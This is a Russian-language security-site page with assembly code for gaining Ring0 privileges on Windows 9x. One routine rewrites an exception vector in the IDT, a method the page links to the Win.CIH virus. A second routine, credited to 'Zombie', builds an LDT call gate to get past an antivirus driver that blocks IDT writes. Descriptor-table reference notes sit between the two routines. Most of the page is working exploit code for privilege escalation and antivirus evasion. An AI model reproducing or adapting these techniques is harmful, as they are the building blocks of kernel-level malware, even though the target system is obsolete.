реклама
ОНЛАЙН АПТЕКА НИЗКИХ ЦЕН
цены ниже розничных точек. доставка по украине

   реклама    
Аптечная справка

proxy  статьи  библиотека  softice  free_юр.консультация  hard
рекламодателям  расшифровка штрих-кодов  links/add

http://kiev-security.org.ua

Содержание

|index|информация|метод zombie|

ПРОРЫВ В НУЛЕВОЕ КОЛЬЦО WINDOWS'9X.

Этот небольшой код показывает как получить доступ в Ring0, изменяя прерывание вектора в IDT, затем вызывает это прерывание. Если все прошло благополучно то программа вызывает маленький демо эффект (запусти и увидишь ? ). Прикол заключается в том, что мы спокойно можем записывать в IDT (Таблицу Дескрипторов Прерываний), совсем как в старом добром ДОСе. Суть метода, кстати, использованного в Win.CIH, заключается в установлении адреса вектора одного из Exception на наш обработчик. Так как наш дескриптор кода имеет привилегии <3>, то в качестве дескриптора назначения используется 28h - системный сегмент кода. Вызывая Exception из программы, мы тем самым передаем управление нашему уже привилегированному обработчику.

.386p
locals
jumps
.model flat, stdcall
extrn ExitProcess : proc
.data
idt   df 0
s_gate dq 0
o_gate dw 0
       dw 028h
       dw 0EE00h
       dw 0
.code

start:
      mov eax, offset ring0
      mov [o_gate], ax
      shr eax, 16
      mov [o_gate+6], ax

;получим адрес IDT и Exception 9
;(номер 9 выбран от фонаря)
      sidt fword ptr idt
      mov ebx, dword ptr [idt+2]
      add ebx, 8*9                 ; адрес int9

;сохраним старый адрес Exception 9
      mov edi, offset s_gate
      mov esi, ebx
      movsd
      movsd
;установим новый адрес Exception 9
      mov edi, ebx
      mov esi, offset o_gate
      movsd
      movsd
;передаем управление на Ring0
      int 9h        
;восстановим старый адрес Exc.9
      mov edi, ebx
      mov esi, offset s_gate
      movsd
      movsd
; выход из программы
      push 0
      call ExitProcess                    


ring0 proc ; вызывается как код нулевого 
; кольца
; маленький видеоэффект ( работа с портами ! )
demo:
     ;mov ecx, ???????? - отфонарный счетчик
      mov edx,03D4h
      mov al,0Ch
      out dx,al
      mov edx,03D5h
      mov al,bh
      out dx,al
      mov edx,03D4h
      mov al,0Dh
      out dx,al
      mov edx,03D5h
      mov al,bl
      out dx,al
      inc ebx
      push ecx
      mov ecx,0000FFFFh
      loop $
      pop ecx
      loop demo
      iretd
ring0 endp
end start

|index|up|

СПРАВОЧНАЯ ИНФОРМАЦИЯ ПО ТАБЛИЦАМ ЗАЩИЩЕННОГО РЕЖИМА.

LDT - Local Descriptor Table
Размер элемента: 8 байт (64 бита)

Бит пп Байт Описание
00..15 0,1 Предел (младшие 16 бит)
16..39 2..4 Базовый адрес (младшие 3 байта)
40..43 5 Тип
44 5 Бит "S"
45..46 5 Уровень привилегий дескриптора (DPL)
47 5 Бит "P"=1- признак присутствия в физич. RAM
48..51 6 Предел (старшие 4 бита)
52..55 6 Зарезервировано (0)
56..63 7 Базовый адрес (старший байт)

GDT - Global Descriptor Table
Размер элемента: 8 байт (64 бита)

Бит пп Байт Описание
00..15 0,1 Предел (младшие 16 бит)
16..39 2..4 Базовый адрес (младшие 3 байта)
40..47 5 БАЙТ ПРАВ ДОСТУПА ("AR")
40   Бит "A" 0->1 при обращении к сегменту
41..43   Тип
44   Бит "S" =1 - сегмент, =0 - системный обьект
45..46   Уровень привилегий дескриптора (DPL)
47   Бит "P"=1 -признак присутствия в физич. RAM
48..51 6 Предел (старшие 4 бита)
52   Бит "U" - для нужд программиста
53   Бит "X"
54   Бит "D" (=0 - 16-битный ,=1 - 32-битный сег.
55   Бит "G" гранулярности (1 = предел * 4 кб)
56..63 7 Базовый адрес (старший байт)

IDT - Interrupt Descriptor Table
Размер элемента: 8 байт (48 бит)

В IDT могут находиться только три вида дескрипторов:
Шлюз задачи (тип 0101)
Шлюз прерывания (тип 1110)
Шлюз ловушки (тип 1111)

|index|up|

DRWEB32 запретил запись в IDT своей VxD'шкой. Как избежать такой неприятности, советует Zombie:
(процедура)

Запись в IDT и GDT можно запретить. Но с LDT ничего не поделаешь, т.к. Windows в процессе работы сама туда часто что-нибудь пишет. Оригинальный метод Zombie состоит в следующем: В LDT текущей задачи создается шлюз вызова (Call Gate) на процедуру, которую мы хотели бы выполнить с привилегиями нулевого кольца. Вместо текущего дескриптора сегмента кода в Call Gate указывается системный кодовый сегмент нулевого кольца - 0028h, В результате при вызове Call Gate код процедуры будет находиться в сегменте нулевого кольца, обладая соответствующими привилегиями.

;на входе: ESI=смещение FAR 
процедуры нулевого кольца, 
которую необходимо 
инсталлировать
;использованные регистры: 
процедура извращает флаг 
DF
;~60 байт кода
CGS equ 8   ; селектор CallGate
call_in_ring0:
 pushad
;заносим базу GDT в EBX
push ebx                
sgdt  [esp-2]
pop  ebx
;получаем в EAX селектор LDT
xor  eax,eax     
sldt ax
; срезаем биты привилегий
and al, not (111b)
; получим смещение 
дескриптора LDT в EBX
add  ebx,eax 
; получим базу LDT в ECX (в 
; дескрипторе она разбита на 
; части) 
; старшую
mov ch,[ebx+7]
mov cl,[ebx+4]
shl  ecx,10h
;и младшую
mov  cx,[ebx+2]
;заносим в EDI смещение
;дескриптора CallGate
lea  edi,[ecx+CGS]
;строим CallGate 
mov  eax,esi 
stosw
mov  eax,1110110000000000b 
shl 10h + 28h
stosd
shld eax,esi,10h
stosw

popad

db 09ah
dd 0
dw CGS+100b+11b    ; LDT + 
Ring3

; готово
ret

|index|up|

Содержание

HOME


Если у вас есть сайт или домашняя страничка - поддержите пожайлуста наш ресурс, поставьте себе кнопочку, скопировав этот код:

<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a>

Идея проекта(C)Anton Morozov, Kiev, Ukraine, 1999-2017,